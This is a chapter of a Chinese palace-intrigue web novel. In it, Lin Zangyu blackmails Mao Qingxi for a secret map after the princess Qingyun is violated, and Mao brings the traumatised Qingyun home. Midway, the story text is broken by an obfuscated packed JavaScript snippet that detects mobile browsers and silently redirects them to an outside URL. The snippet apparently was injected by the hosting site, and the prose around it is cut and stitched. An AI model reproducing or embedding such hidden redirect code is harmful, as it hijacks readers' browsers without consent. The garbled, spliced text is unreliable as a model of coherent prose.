第四百八十四章
作品:《凤逆天下:毒妃倾世狂医》 林臧雨像是看穿了她的心思,微微一笑,露出了一个“你奈我何”的表情。
“别白费力气了。有绮巧在,你伤不了我分毫。”
她停顿了一下,语气忽然变得柔和起来,仿佛在哄骗一个不懂事的孩子:
“放心,我既然费尽心思把你引来,当然是有正事要跟你谈。”
“只要你乖乖听话,今天的事,就当没发生过。否则……”
林臧雨的声音又恢复了之前的冷漠,带着一丝毫不掩饰的威胁。
“茅清兮,你应该很清楚,一个失了清白的公主,会有什么下场。”
“要么青灯古佛,要么……远嫁和亲。当然,是被迫的。”
“选择权,可是在你手里哦。”
林臧雨的语气轻飘飘的,仿佛这只是一场无足轻重的游戏。
她承认,这手段确实不高明,但对付茅清兮,却足够了。
只要轻轻一推,茅清兮就会兵败如山倒,再无还手之力。
茅清兮紧紧咬着牙,牙龈都被咬出了血,口腔里弥漫着一股浓重的血腥味。
她强迫自己冷静下来,声音嘶哑地问道:
“说吧,你的条件。”
“玄机图。”
林臧雨缓缓吐出三个字,眼神中闪过一丝贪婪。
“用玄机图,换清韵公主的名节。这个交易,很划算吧?”
“我再说一次,玄机图,不在我手里。”茅清兮的声音中带着一丝疲惫。
“不,它一定在你手里。”
林臧雨语气笃定,不容置疑。
“当初,邹童霜亲口告诉我,玄机图就在她那里,她还给我看过拓本。这一点,你不用狡辩。”
“现在邹童霜**,她能把青羽暗卫交给你,自然也会把玄机图留给你。”
林臧雨竟然连这些都知道!茅清兮心中一阵烦闷。
“就算你说得对,可我根本不知道玄机图长什么样,又要我去哪里找?”她试图拖延时间。
“这就要看你自己的本事了。”林臧雨微微一笑,露出了一个意味深长的表情。
“你娘留给你的东西,总共就那么几样。好好想想,或许会有什么意外的发现呢?”
“我的人当初搜查过你的住处,一无所获。不过,这并不代表你就找不到。”
她故意停顿了一下,观察着茅清兮的反应,才缓缓开口:
“别忘了,青鸾阁里,也有可能有线索。”
“青鸾阁……”茅清兮喃喃自语。
“没错。”林臧雨嘴角的笑意更深了,“元霄,可是我的人。”
茅清兮的心,猛地一沉。
她终于明白,林臧雨布下的局,远比她想象的要大得多。
她深吸一口气,强迫自己冷静下来。事到如今,她已经没有退路了。
“好,我答应你。”她缓缓开口,声音沙哑而坚定,“我会去找玄机图。”
她低下头,看着依旧惊魂未定的清韵,心中一阵刺痛。
“但如果让我知道,你敢泄露今天的事……我发誓,哪怕拼了这条命,也要拉你一起下地狱!”
林臧雨轻笑一声,似乎根本没把她的威胁放在心上。
她身后的人递过来一套干净的衣裙。
“给清韵公主换上吧。”林臧雨淡淡地吩咐道,“记住,我只给你三天时间。三天之内,我要见到玄机图。”
说完,她转身离开,其他人也跟着鱼贯而出,只留下茅清兮和清韵,还有满地的狼藉。
茅清兮颤抖着手,帮清韵换上干净的衣裙。
她的动作很轻,很慢,生怕弄疼了她。
可清韵却像是一个破碎的娃娃,对外界的一切都没有反应,只是一个劲儿地发抖,嘴里不停地念叨着:“脏……好脏……”
茅清兮的心,像是被一只无形的手,狠狠地撕扯着,疼得她几乎无法呼吸。
她扶着清韵,避开人群,沿着偏僻的小路,跌跌撞撞地出了宫。
直到上了马车,茅清兮才敢放任自己的情绪。
她紧紧抱着清韵,眼泪再也忍不住,大颗大颗地滚落下来。
“清韵,对不起……都是我不好,是我连累了你……”
可清韵却像是什么都听不见,只是缩在角落里,瑟瑟发抖,眼神空洞而迷茫。
茅清兮的心,彻底碎了。
她知道,有些伤害,一旦造成,就永远无法弥补。
她缓缓抬起头,眼中闪烁着仇恨的火焰。
“林臧雨……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017899|179210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她咬牙切齿地念出这个名字,“我绝不会放过你!”长公主府,如深潭般静寂。
茅清兮将清韵安置在此,特意避开了众人。
她凝神静气,为清韵诊脉。脉象虽显惊惧,可清韵紧蹙的眉头,却透露出更深层的恐惧,仿佛有什么尘封的记忆被唤醒,正撕咬着她的心神。
长公主府的侍女们进退有序,轻手轻脚地忙碌着。当目光触及清韵肩头那抹刺目的痕迹时,她们的眼眶瞬间湿润,却又死死咬住嘴唇,不让自己发出半点声音。
她们心疼清韵,却又不敢多言,只默默地收拾着,泪水无声滑落。长公主府的人,每一个都如木偶般严谨,绝不会多嘴多舌。
茅清兮站在一旁,只觉得那痕迹如烙铁般烫在她的心上。若非她及时赶到,清韵怕是真的要……
她猛地闭上眼睛,不敢再想下去,心口一阵阵钝痛,仿佛被人狠狠攥住,连呼吸都带着血腥味。
清韵在梦魇中挣扎,身子瑟瑟发抖,冷汗涔涔。侍女们的手才刚碰到她,她便惊跳起来,仿佛受惊的兔子。
茅清兮的心都提到了嗓子眼,哪里还敢离开半步,满嘴都是苦涩,连舌根都泛着疼。
当长公主归来时,这份苦涩,更是浓烈得几乎要将她吞噬。
“怎的这般早就回来了?”长公主的声音还带着惯有的威严,却隐隐透着一丝急切,“不是让清韵多瞧瞧吗?可是又不中意了?若是不喜欢秦家那小子,咱们再寻就是,这般火急火燎地,成何体统。”
话音未落,长公主已然进了屋,一眼便瞧见了躺在床上,脸色苍白的清韵,声音戛然而止,脸色骤变。
“清韵这是……怎么了?”
茅清兮嘴唇颤抖着,却一个字也说不出来,膝盖一软,“扑通”一声跪在了地上。
长公主心头一震,下意识地侧身让开,一种不祥的预感如毒蛇般缠绕上来。她挥退了屋内的侍女,示意她们关上房门。
她弯腰想扶起茅清兮,茅清兮却执拗地跪着,不起。她猛地吸了一大口气,仿佛用尽了全身的力气,才将事情的来龙去脉缓缓道出,每一个字,都像是一把刀,狠狠地剜着她的心。
“……皆因我而起,”茅清兮的声音嘶哑得不成样子,头深深地埋了下去,“是我…

